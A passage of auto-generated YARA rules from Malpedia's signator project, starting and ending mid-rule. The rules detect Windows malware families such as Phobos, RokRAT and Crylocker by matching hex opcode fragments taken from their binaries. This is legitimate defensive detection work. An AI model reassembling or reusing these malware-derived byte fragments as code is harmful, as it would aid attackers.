		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.yayih_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "ccf9d220b177854895c46141d0b55d3d71e3c288e2342d7f6d4b5f34327dab2f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a01 8d459c 5f 6689b548ffffff 50 }
		$sequence_1 = { ff75f8 ff15???????? 8d85bcd8ffff 50 e8???????? 80bc05bbd8ffff3e }
		$sequence_2 = { 8a1c33 80eb03 ff4508 8819 49 }
		$sequence_3 = { e8???????? 59 59 8d85f0fdffff 68???????? }
		$sequence_4 = { 7517 ff45e0 817de050c30000 0f8cecfdffff 33f6 e9???????? 6a44 }
		$sequence_5 = { 83650800 8b550c 8d78ff 59 85ff }
		$sequence_6 = { 8d8570fdffff 68???????? 50 ff15???????? 83c410 3bc3 894508 }
		$sequence_7 = { 50 56 ff15???????? bf04010000 }
		$sequence_8 = { c785f0feffff28000000 6a0c 8d45d0 56 50 e8???????? 6801200000 }
		$sequence_9 = { 68???????? 50 e8???????? 59 8d85c0feffff 59 50 }
	condition:
		7 of them and filesize < 57344
}

rule MALPEDIA_Win_Atomsilo_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3a4d686f-c99d-5c01-b555-7095e6b70c0c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atomsilo"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.atomsilo_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "8aed315237abd1e84c2f2f4a7b7891e44774fb638cce5cdf1ee6cabd913c51c4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 48c7c03f000000 23c1 488d0d7a8d0100 f20f5904c1 f20f5804c1 660f72e406 660f73f434 }
		$sequence_1 = { 90 488d4f78 488d542458 e8???????? 488bd8 488b4c2470 48394c2468 }
		$sequence_2 = { 4053 4883ec20 488d054b400800 488bd9 488901 488d052e420800 48894108 }
		$sequence_3 = { 480134c7 0f8593010000 ffc1 8bc1 493bc0 72ed 488b5318 }
		$sequence_4 = { 48c7442458ffffffff 4c89742460 4d85f6 7505 498bef eb0b 498bce }
		$sequence_5 = { 4183cf08 44897c2420 4c8d4c2458 4c8bc6 488d55b8 488d4d88 e8???????? }
		$sequence_6 = { 4103c7 c1ca02 448b7c2408 03c8 4403c9 4433ff }
		$sequence_7 = { 8bc9 488b542430 8b0c8a c1e908 0fb6c9 488d1554b50500 }
		$sequence_8 = { 488d0dda730900 8b542440 83c202 8bd2 4c8b442430 418b1490 c1ea10 }
		$sequence_9 = { 488bd0 488bcb e8???????? 4103f5 413bf4 72c1 488b45a7 }
	condition:
		7 of them and filesize < 1785856
}

rule MALPEDIA_Win_Ice_Cache_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2bb6d9ef-4306-54f0-bb68-5fe8abb99071"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ice_cache"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ice_cache_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "257ed7cb63e1c0858485a90386f353a13f9ab5e026a2c8483909741253dfdd4d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4156 4157 4883ec30 488b19 498be8 4c8bf2 }
		$sequence_1 = { 488bd9 4885c0 7479 488d0d0a520200 483bc1 746d 488b83e0000000 }
		$sequence_2 = { 33d2 498bce e8???????? 90 488d8c24080f0000 e8???????? e9???????? }
		$sequence_3 = { 0f114a10 4c894110 48c741180f000000 448801 44894220 4883c420 }
		$sequence_4 = { 48f7d0 493bc6 0f8694000000 48897c2430 4a8d3c01 4d85f6 746d }
		$sequence_5 = { 488b542448 488d4c2448 e8???????? e8???????? e8???????? 0fb6c3 488b4c2468 }
		$sequence_6 = { 744c 0fb618 48ffc0 48894710 83fbff 7440 }
		$sequence_7 = { 74e8 488bd8 4889442470 493bdf 7410 488d5320 498bce }
		$sequence_8 = { 7536 4c8bc7 488d1502700300 660f1f440000 0fb702 663901 }
		$sequence_9 = { 418bf0 4c8d0d0f870100 8bda 4c8d05fe860100 }
	condition:
		7 of them and filesize < 801792
}

rule MALPEDIA_Win_Httpbrowser_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ae4ee866-262a-554a-b946-19e1882a583d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.httpbrowser"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.httpbrowser_auto.yar#L1-L169"
		license_url = "N/A"
		logic_hash = "fe5c658a5d4b7829560ab47b5951aa60c2bf887992bf53e66e96f138e4aa0991"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 751d 68???????? ffb5f0fdffff ff15???????? ffb5f0fdffff ff15???????? 56 }
		$sequence_1 = { 6800010000 8d85f8feffff 50 ff15???????? 8d85f8feffff }
		$sequence_2 = { 8bec 81ecac020000 a1???????? 33c5 8945fc 57 8d8558fdffff }
		$sequence_3 = { eb3c 8b85e4fdffff 8985f4fdffff 3bc6 74ec 53 }
		$sequence_4 = { 33db 56 8985e8eeffff 8d85fdeeffff 53 50 8bf9 }
		$sequence_5 = { 6a04 8d85a0feffff 50 6a13 }
		$sequence_6 = { ffd6 83bd6453ffff14 7552 8d85c855ffff 50 }
		$sequence_7 = { 8d85fefdffff 50 e8???????? ffb5f4edffff }
		$sequence_8 = { 8b7508 8d4dec 6a00 8d55fc 51 }
		$sequence_9 = { 33c0 8dbdb2fcffff 668995b0fcffff f3ab }
		$sequence_10 = { 56 e8???????? 8bf8 83c408 85ff 7422 66891f }
		$sequence_11 = { 5d 9d 5d 8b4dfc 51 }
		$sequence_12 = { 50 8b4508 51 50 52 }
		$sequence_13 = { e8???????? 83c410 8b4d08 6a00 68???????? }
		$sequence_14 = { ff15???????? b940000000 33c0 8dbdfcfeffff }
		$sequence_15 = { 8d741202 56 e8???????? 8bd0 83c404 85d2 8955f8 }
	condition:
		7 of them and filesize < 188416
}

rule MALPEDIA_Win_Rustonotto_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c96a83b8-aab4-55d7-a6bc-2f4705409146"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rustonotto"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rustonotto_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "1a2f2499fd9c35d46eb281cf2189d5af496ab41ea2f40681381bfb3d9321a241"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 4889fa 84c0 0f84befdffff 488b0d???????? 488b4138 4885c0 }
		$sequence_1 = { e8???????? 4983c4f9 488d8528010000 0f1f4000 4c8b30 450fb7aed2030000 498d742401 }
		$sequence_2 = { eb02 31c0 66897d08 6689750a 488945f8 488d05a4751800 48894500 }
		$sequence_3 = { eb0f b908000000 ba18000000 e8???????? 0f0b 90 4889542410 }
		$sequence_4 = { 84c0 0f85d8feffff c6470101 e9???????? c685c700000000 e8???????? 84c0 }
		$sequence_5 = { 740f 488d4d60 488b5550 4c8b4558 ff5020 90 4883c430 }
		$sequence_6 = { e8???????? 0fb64520 3c03 751f 4183bf1801000001 0f858d000000 66c7060305 }
		$sequence_7 = { e8???????? 8b8580040000 83f802 7432 83f803 0f84ba1d0000 a801 }
		$sequence_8 = { 747b 8b514c 448b8990000000 4101d1 b801000000 7058 0f88f4010000 }
		$sequence_9 = { c6858f04000001 c6858e04000000 8b8578040000 88858d040000 c6858c04000001 c6858b04000001 488d0d2f2a1000 }
	condition:
		7 of them and filesize < 5989376
}

rule MALPEDIA_Win_Reaver_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7725038c-885d-586e-9f95-5e06e196979a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.reaver"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.reaver_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "83dafe6f8435f2ac84b6d9a74f3f9ba4ae0b3ddc0578ba5a08e90d4a03423ef1"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 3d14050000 7504 33c0 c9 c3 }
		$sequence_1 = { 7453 8d45f4 50 ff7508 6a00 ff15???????? }
		$sequence_2 = { ff15???????? 85c0 7440 8b45f4 6a00 }
		$sequence_3 = { ff15???????? 85c0 7453 8d45f4 }
		$sequence_4 = { 50 ff15???????? 85c0 7453 8d45f4 50 ff7508 }
		$sequence_5 = { ff15???????? 85c0 740d ff15???????? 3d14050000 7504 33c0 }
		$sequence_6 = { 85c0 7453 8d45f4 50 ff7508 }
		$sequence_7 = { 50 ff7508 6a00 ff15???????? 85c0 7440 }
		$sequence_8 = { 6a00 ff15???????? 85c0 7440 8b45f4 6a00 }
		$sequence_9 = { 50 c6467430 e8???????? 83c634 }
	condition:
		7 of them and filesize < 106496
}

rule MALPEDIA_Win_Crylocker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8c49832e-3a15-5c26-a16b-f08cf4de197b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crylocker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crylocker_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "9984a5545190dc600307a66e2e0bae93c274e609548786d31df4138b67fc5f5d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 8d542408 68c5090000 52 e8???????? 8d442410 68???????? }
		$sequence_1 = { ff15???????? 6afe e8???????? 83c404 5f 5e }
		$sequence_2 = { 56 8da42400000000 8b44241c 8bf7 }
		$sequence_3 = { 53 33ff ff15???????? 8bf0 3bf3 762e 3bfb }
		$sequence_4 = { 8b7c242c 8b7704 50 e8???????? 8b4c2440 8bd8 51 }
		$sequence_5 = { 8d442430 50 e8???????? 8d4c2434 68???????? 51 e8???????? }
		$sequence_6 = { 50 50 8b44244c 50 6a00 6a00 56 }
		$sequence_7 = { 50 894608 e8???????? 83c414 eb76 }
		$sequence_8 = { 81c4cc000000 c3 5f 5e 5d b8fdffffff 5b }
		$sequence_9 = { e8???????? 8d4c2408 6aff 51 e8???????? 8d542410 6a02 }
	condition:
		7 of them and filesize < 139264
}

rule MALPEDIA_Win_Slave_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9b0051d5-869a-52df-9d63-5531f0ea1bc8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slave"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.slave_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "523de3cfcbf6b6abf4a7273f5bce657ee9b1b72d0e892b1b3170df330ecf9a83"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e9???????? 837df400 0f84f7250000 b80a000000 66894706 8a4704 24c3 }
		$sequence_1 = { 0c10 888694030000 eb8d 817b0800000040 0f85ea020000 8a9694030000 8a5c240e }
		$sequence_2 = { 813e6f563412 7406 5e 33c0 5b 5d c3 }
		$sequence_3 = { 833d????????00 c705????????00000000 740a b9???????? e8???????? 833d????????00 c705????????00000000 }
		$sequence_4 = { 3d00000001 0f8456030000 3d00000002 0f859a240000 }
		$sequence_5 = { 837f7401 894de8 7620 83bf8400000000 7417 8b8780000000 0345f4 }
		$sequence_6 = { 8bc8 83c408 3bd9 750b }
		$sequence_7 = { 83c40c 028e08010000 888e08010000 80f9ff 730c 0fb6c1 }
		$sequence_8 = { 7307 0fb6c2 2bc8 eb02 33c9 0fb6c2 68???????? }
		$sequence_9 = { ff15???????? 5f 5e c3 837e1800 7445 90 }
	condition:
		7 of them and filesize < 532480
}

rule MALPEDIA_Win_Phobos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6caf5a5b-e4a8-5ad7-ac96-0781f61cb33b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phobos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.phobos_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "0813fe2e377724ce620e3c3620ed6e847086eab6c4f49515372897489c1a64d4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4f ff75fc e8???????? 59 8bc7 5f 5e }
		$sequence_1 = { 6a0c 5b 53 8d442430 56 50 e8???????? }
		$sequence_2 = { 7446 8b06 85c0 7440 8b0f 894e04 8b4f04 }
		$sequence_3 = { 33db 56 57 33c0 895c2428 8d7c242c ab }
		$sequence_4 = { 8bc6 8d3c08 8d8fb2000000 894df4 83c118 2bc8 81c100000400 }
		$sequence_5 = { 5b c9 c3 56 6a1c }
		$sequence_6 = { 83c002 eb02 8bc7 8bc8 56 8d7102 }
		$sequence_7 = { 68ff000000 ff15???????? cc 55 8bec 8b4508 a3???????? }
		$sequence_8 = { 0f8452010000 3bf7 7420 8d44243c 50 ff15???????? 50 }
		$sequence_9 = { ff7708 8d442430 ff7704 ff37 50 56 e8???????? }
	condition:
		7 of them and filesize < 139264
}

rule MALPEDIA_Win_Carrotbat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9e3c15b1-53c0-536f-b748-485d961b1513"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.carrotbat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.carrotbat_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "bfaec56400fafcaf85efd0fb6650770c8db082e08e8b7c0c5f56e8a5a426d6b1"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff742424 c22800 c744241402000000 66f7d7 9c 89742414 0fcf }
		$sequence_1 = { 0f84b9000000 8975e0 8b04bd20ee4000 0500080000 3bf0 0f8396000000 }
		$sequence_2 = { 0f88d7feffff d2df 660fa5cf 5f 660fbaf30b 6681c61cd0 6681cef437 }
		$sequence_3 = { e8???????? 33cd ff3424 0fbed9 8b5c240c 9c c60424ba }
		$sequence_4 = { 8bff 56 57 33f6 bf???????? 833cf5a4d5400001 }
		$sequence_5 = { 7353 8bc1 c1f805 8bf1 83e61f 8d3c8520ee4000 }
		$sequence_6 = { 7524 a1???????? a3???????? a1???????? c705????????46444000 8935???????? a3???????? }
		$sequence_7 = { 80e17f 3008 8b06 8bc8 c1f905 8b0c8d20ee4000 83e01f }
		$sequence_8 = { 3b0d???????? 7353 8bc1 c1f805 8bf1 83e61f 8d3c8520ee4000 }
		$sequence_9 = { 5f 03d1 5e c6840201ed400000 5b 5d }
	condition:
		7 of them and filesize < 360448
}

rule MALPEDIA_Win_Rokrat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "72ccb458-56ca-5321-9a37-7df4cd9fbcb3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rokrat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rokrat_auto.yar#L1-L158"
		license_url = "N/A"
		logic_hash = "5cd57f30b8bc2958324b2df203589daea09f2ea7985ac5d6acd0baa6db2468f2"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 e8???????? 6a04 33c0 }
		$sequence_1 = { 668945c0 e8???????? c645fc03 8b45bc }
		$sequence_2 = { 50 e8???????? 6a10 33c0 }
		$sequence_3 = { 50 e8???????? 8d8e0c010000 8d4550 3bc8 }
		$sequence_4 = { 0fb7c1 50 0fb74208 c1e910 51 50 0fb74212 }
		$sequence_5 = { 50 ff15???????? e8???????? 40 }
		$sequence_6 = { 50 e8???????? 6a18 33c0 }
		$sequence_7 = { 68???????? e8???????? 837e1408 7204 8b06 eb02 8bc6 }
		$sequence_8 = { 50 e8???????? 8d8edc000000 8d4520 }
		$sequence_9 = { ff15???????? 50 e8???????? 59 6a64 }
		$sequence_10 = { 897dfc e8???????? 68???????? 8d4dd8 e8???????? }
		$sequence_11 = { 89442410 7e34 8d9b00000000 56 }
		$sequence_12 = { 89442410 807c244400 7558 85db 7454 68d3010000 }
		$sequence_13 = { 89442410 80f925 0f859d030000 3808 }
		$sequence_14 = { 89442410 7c7c 8b7758 8b9f8c000000 81c630010000 }
		$sequence_15 = { 89442410 7e19 68110b0000 68???????? }
	condition:
		7 of them and filesize < 2932736
}

rule MALPEDIA_Win_Snatch_Loader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e84bc4db-d72c-55c7-8127-5b70bf9d85b1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.snatch_loader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.snatch_loader_auto.yar#L1-L176"
		license_url = "N/A"
		logic_hash = "71f941ef8f08c99c9d42e26dfa505e9884dda28bb1bd06c93b12ee312c92bc07"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 895dfc e8???????? 8bf0 85f6 744b 33c0 66894606 }
		$sequence_1 = { eb0e 8d4dfc 51 8d4df4 51 56 }
		$sequence_2 = { 7505 8b45fc eb0d 53 53 }
		$sequence_3 = { 57 8bfa 85c0 751d }
		$sequence_4 = { 8b7dfc eb04 ffd0 8bf8 a1???????? }
		$sequence_5 = { 8bc8 e8???????? a3???????? 85c0 7403 57 }
		$sequence_6 = { 8bf8 a1???????? 85c0 7522 6a02 59 }
		$sequence_7 = { 32c3 43 8802 42 }
		$sequence_8 = { 76d8 33c0 48 5a 59 5f 5e }
		$sequence_9 = { 59 5b 5a c9 c20c00 55 8bec }
		$sequence_10 = { 8bec 83c4f8 53 56 57 51 52 }
		$sequence_11 = { 0bc0 7454 394508 734f ff7510 }
		$sequence_12 = { 33d2 33c9 8a0431 0ac0 741f }
		$sequence_13 = { 3b45fc 773b 8b750c 8b7d10 037508 8bde }
		$sequence_14 = { 741f 3a0439 7514 41 3b4df8 72ee 8bc2 }
		$sequence_15 = { 57 56 8b36 56 8b33 33c0 48 }
	condition:
		7 of them and filesize < 262144
}

rule MALPEDIA_Win_Supernova_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b0d23010-e706-5a6c-87f1-b10df99d0461"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.supernova"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.supernova_auto.yar#L1-L116"
		license_url = "N/A"
		logic_hash = "3eb1ef4641d5ab988a67e433660b28cc5e0a8f3de783c5473bb118a467afaed4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 1107 17 91 1f50 3339 1107 }
		$sequence_1 = { 1308 03 6f0b00000a 6f1c00000a 1107 16 }
		$sequence_2 = { 26 25 6f2800000a 72b1010070 }
		$sequence_3 = { 19 91 1f47 3329 }
		$sequence_4 = { 3341 1107 17 91 1f50 3339 }
		$sequence_5 = { 1f0a 9d 6f0a00000a 1304 03 6f0b00000a }
		$sequence_6 = { de00 03 6f0800000a 6f0e00000a }
		$sequence_7 = { 3309 72e3000070 1308 2b5a 1107 }
		$sequence_8 = { 16 91 2089000000 3341 }
		$sequence_9 = { 7e01000004 7211010070 1109 6f2200000a de00 03 6f0b00000a }
	condition:
		7 of them and filesize < 50176
}

rule MALPEDIA_Win_Atlas_Agent_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "12437137-122e-5647-b916-3934d94f17a9"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atlas_agent"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.atlas_agent_auto.yar#L1-L144"
		license_url = "N/A"
		logic_hash = "bddbc52b224832b6d1899d8a7f9c2269559750eebdc1985f06284557268eff24"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0fb60c0a 83e13c c1f902 03c1 }
		$sequence_1 = { 8bc1 99 b903000000 f7f9 c1e002 }
		$sequence_2 = { 8a80c0ba0410 84c0 7f1f 8bce }
		$sequence_3 = { 8a55fe 8810 8d4508 50 }
		$sequence_4 = { 8a55f3 8855f1 0fb645f1 85c0 746c 68???????? 8d4dd8 }
		$sequence_5 = { 8a5de3 8b0495e0b50410 885c012e 8b0495e0b50410 }
		$sequence_6 = { 57 4883ec20 8bfa 4c8d0d517f0100 }
		$sequence_7 = { 57 4883ec20 488d1daf180300 488d3da8180300 eb12 488b03 }
		$sequence_8 = { 57 4883ec20 8bda 4c8d0d35810100 }
		$sequence_9 = { 57 4883ec20 8bf9 e8???????? 4885c0 7509 488d0533ed0200 }
		$sequence_10 = { 8a55ff 8810 8b45ec 83c001 }
		$sequence_11 = { 57 4883ec20 4c8bda 488d2d5737fdff }
		$sequence_12 = { 8a55ff 8811 8b45f4 50 e8???????? 83c404 8945f0 }
		$sequence_13 = { 57 4883ec20 488d1ddb180300 488d3dd4180300 }
	condition:
		7 of them and filesize < 857088
}

rule MALPEDIA_Win_Nymaim2_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9d42ecfd-461f-543d-9a58-ba44ed0f874f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim2"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nymaim2_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "e64916e16c04fec69a155375e17360cf8ab01eed1bdb9780112b275d8e2ffaa7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bf9 be???????? 56 8d5f14 e8???????? 59 }
		$sequence_1 = { 33c0 eb07 8b07 8b4004 03c7 83480c04 8b07 }
		$sequence_2 = { ff5008 51 8d4604 8bcc 896508 50 e8???????? }
		$sequence_3 = { 5b c1f805 d3e3 8d0486 0918 8b45e8 8b5df0 }
		$sequence_4 = { ff4008 8b06 397808 75c2 ff400c ebbd 8b5620 }
		$sequence_5 = { 885dfc e8???????? 8d4e24 e8???????? 83ec18 8bcc 8965ec }
		$sequence_6 = { 8d45e4 53 50 ff15???????? 6a01 8d4de4 c645fc02 }
		$sequence_7 = { 51 56 8bf1 8975f0 c706???????? 8d4e64 c745fc04000000 }
		$sequence_8 = { 8b00 23c7 3b02 894514 7d58 8b5508 8d1482 }
		$sequence_9 = { e8???????? 50 8d4d08 e8???????? 85c0 0f9dc3 8d4d9c }
	condition:
		7 of them and filesize < 753664
}

rule MALPEDIA_Win_Wannacryptor_Auto : FILE
{
	meta:
